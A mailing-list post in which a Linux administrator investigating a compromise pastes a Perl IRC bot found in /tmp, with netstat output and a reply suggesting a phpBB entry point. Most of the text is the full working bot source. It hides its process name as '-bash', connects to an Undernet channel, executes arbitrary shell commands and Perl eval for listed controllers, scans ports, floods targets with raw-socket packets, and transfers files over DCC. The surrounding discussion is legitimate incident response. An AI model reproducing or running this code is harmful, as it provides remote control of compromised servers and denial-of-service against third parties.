Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
#!/usr/bin/perl # ################ perl ################################################################# # # # # # #testscript - System & Network Security # # # #
# # # my $processo = '-bash'; #----------------------------------------------## my $linas_max='10'; # #----------------------------------------------# my $sleep='3'; # # # # # PERL HELP SCRIPT # # # my @adms=("_mihaiu","mihaiu`",); # #---------------------------------------------- ################################################ my @canais=("#aseasi :lametrapchan","#aseasi :lametrapchan"); # #---------------------------------------------- ################################################ my $nick= 'bug'; # #---------------------------------------------- ################################################ my $ircname = 'bitch'; # #---------------------------------------------- ################################################ chop (my $realname = `screw`); # #---------------------------------------------- ################################################ $servidor='eu.undernet.org' # unless $servidor; # #---------------------------------------------- ################################################ my $porta='6667'; # # # # # my $secv = 1; # # # ######################################################################## #######################
my $VERSAO = '1.0';
$SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE';
use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problem with fork: $!" unless defined($pid);
our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new();
############################# # #############################
$sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } }
sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; }
} my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); &DCC::connections; my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :***/) { parse("$line"); } else { $line_temp = $line; } } } } }
sub parse { my $servarg = shift; if ($servarg =~ /^PING :(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) { my $pn=$1; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION rootworm-$VERSAO in perl \001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|!yas)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!yas" and $arg =~ /^!nick/); } elsif ($arg =~ /^@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)\s+NICK\s+:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^:(.+?)\s+433/i) { nick("$meunick".int rand(9999)); } elsif ($servarg =~ m/^:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); } } }
sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","80","110","143"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } }
if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :no open doors found"); } } if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002MÈdia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
} exit; } } }
sub ircase { my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^voice/) { voice("$printl", "$kem") if $case eq "voice"; $oarg = substr($case, 6); voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^devoice/) { devoice("$printl", "$kem") if $case eq "devoice"; $oarg = substr($case, 8); devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^invite\s+(\S+) (.*)/) { invite("$1", "$2"); } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^send\s+(\S+)\s+(\S+)/) { DCC::SEND("$1", "$2"); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { return unless $secv; my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "Dir doesnt exist!"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } }
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki sub attacker { my $iaddr = inet_aton($_[0]); my $msg = 'B' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65535; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
# DoS ?? :P for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); }
############# # ALIASES # #############
sub action { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); }
sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); }
sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }
sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub hop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub dehop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub ban { return unless $#_ == 1; sendraw("MODE $_[0] +b $_[1]"); } sub unban { return unless $#_ == 1; sendraw("MODE $_[0] -b $_[1]"); } sub kick { return unless $#_ == 1; sendraw("KICK $_[0] $_[1] :$_[2]"); }
sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); }
sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");}
sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); }
sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); }
sub whois { return unless $#_ == 0; sendraw("WHOIS $_[0]"); } sub who { return unless $#_ == 0; sendraw("WHO $_[0]"); } sub names { return unless $#_ == 0; sendraw("NAMES $_[0]"); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } sub quit { sendraw("QUIT :$_[0]"); }
# DCC package DCC;
sub connections { my @ready = $dcc_sel->can_read(1); # return unless (@ready); foreach my $fh (@ready) { my $dcctipo = $DCC{$fh}{tipo}; my $arquivo = $DCC{$fh}{arquivo}; my $bytes = $DCC{$fh}{bytes}; my $cur_byte = $DCC{$fh}{curbyte}; my $nick = $DCC{$fh}{nick};
my $msg; my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { $DCC{$fh}{status} = "Cancelado"; $DCC{$fh}{ftime} = time; $dcc_sel->remove($fh); $fh->close; next; }
if ($dcctipo eq "get") { $DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo"); print FILE "$msg" if ($cur_byte <= $bytes); close(FILE);
my $packbyte = pack("N", $cur_byte); print $fh "$packbyte";
if ($bytes == $cur_byte) { $dcc_sel->remove($fh); $fh->close; $DCC{$fh}{status} = "Recived"; $DCC{$fh}{ftime} = time; next; } } elsif ($dcctipo eq "send") { my $send = $fh->accept; $send->autoflush(1); $dcc_sel->add($send); $dcc_sel->remove($fh); $DCC{$send}{tipo} = 'sendcon'; $DCC{$send}{itime} = time; $DCC{$send}{nick} = $nick; $DCC{$send}{bytes} = $bytes; $DCC{$send}{curbyte} = 0; $DCC{$send}{arquivo} = $arquivo; $DCC{$send}{ip} = $send->peerhost; $DCC{$send}{porta} = $send->peerport; $DCC{$send}{status} = "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon open(FILE, "< $arquivo"); my $fbytes; read(FILE, $fbytes, 1024); print $send "$fbytes"; close FILE; # delete($DCC{$fh}); } elsif ($dcctipo eq 'sendcon') { my $bytes_sended = unpack("N", $msg); $DCC{$fh}{curbyte} = $bytes_sended; if ($bytes_sended == $bytes) { $fh->close; $dcc_sel->remove($fh); $DCC{$fh}{status} = "Enviado"; $DCC{$fh}{ftime} = time; next; } open(SENDFILE, "< $arquivo"); seek(SENDFILE, $bytes_sended, 0); my $send_bytes; read(SENDFILE, $send_bytes, 1024); print $fh "$send_bytes"; close(SENDFILE); } } }
sub SEND { my ($nick, $arquivo) = @_; unless (-r "$arquivo") { return(0); }
my $dccark = $arquivo; $dccark =~ s/[.*/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo); my $size_total=$filestat[7]; if ($size_total == 0) { return(0); }
my ($porta, $sendsock); do { $porta = int rand(64511); $porta += 1024; $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
$DCC{$sendsock}{tipo} = 'send'; $DCC{$sendsock}{nick} = $nick; $DCC{$sendsock}{bytes} = $size_total; $DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET { my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; return(0) if (-e "$arquivo"); if (open(FILE, "> $arquivo")) { close FILE; } else { return(0); }
my $dccip=fixaddr($dcclongip); return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); $dcc_sel->add($dccsock); $DCC{$dccsock}{tipo} = 'get'; $DCC{$dccsock}{itime} = time; $DCC{$dccsock}{nick} = $nick; $DCC{$dccsock}{bytes} = $bytes; $DCC{$dccsock}{curbyte} = 0; $DCC{$dccsock}{arquivo} = $arquivo; $DCC{$dccsock}{ip} = $dccip; $DCC{$dccsock}{porta} = $dccporta; $DCC{$dccsock}{status} = "Recebendo"; }
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub Status { my $socket = shift; my $sock_tipo = $DCC{$socket}{tipo}; unless (lc($sock_tipo) eq "chat") { my $nick = $DCC{$socket}{nick}; my $arquivo = $DCC{$socket}{arquivo}; my $itime = $DCC{$socket}{itime}; my $ftime = time; my $status = $DCC{$socket}{status}; $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte}; my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0; $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv); if ($rate =~ /^(\d+).(\d)(\d)(\d)/) { $r_duv = $3; $r_duv++ if $4 >= 5; $rate = "$1.$2"."$r_duv"; } if ($porcen =~ /^(\d+).(\d)(\d)(\d)/) { $p_duv = $3; $p_duv++ if $4 >= 5; $porcen = "$1.$2"."$p_duv"; } return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); }
return(0); }
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr { my ($address) = @_;
chomp $address; # just in case, sigh. if ($address =~ /^\d+$/) { return inet_ntoa(pack "N", $address); } elsif ($address =~ /^[12]?\d{1,2}.[12]?\d{1,2}.[12]?\d{1,2}.[12]?\d{1,2}$/) { return $address; } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation! return inet_ntoa(((gethostbyname($address))[4])[0]); } else { return; } }
On Mar 2, 2005, at 5:41 PM, Alexander Dalloz wrote:
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:
processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Port 6667 is default standard port for an irc server. By any chance, do you run Apache and a phpBB forum?
Alexander
-- Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora Core 2 GNU/Linux on Athlon with kernel 2.6.10-1.14_FC2smp Serendipity 23:40:52 up 9 days, 10:49, load average: 0.91, 0.56, 0.39 -- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list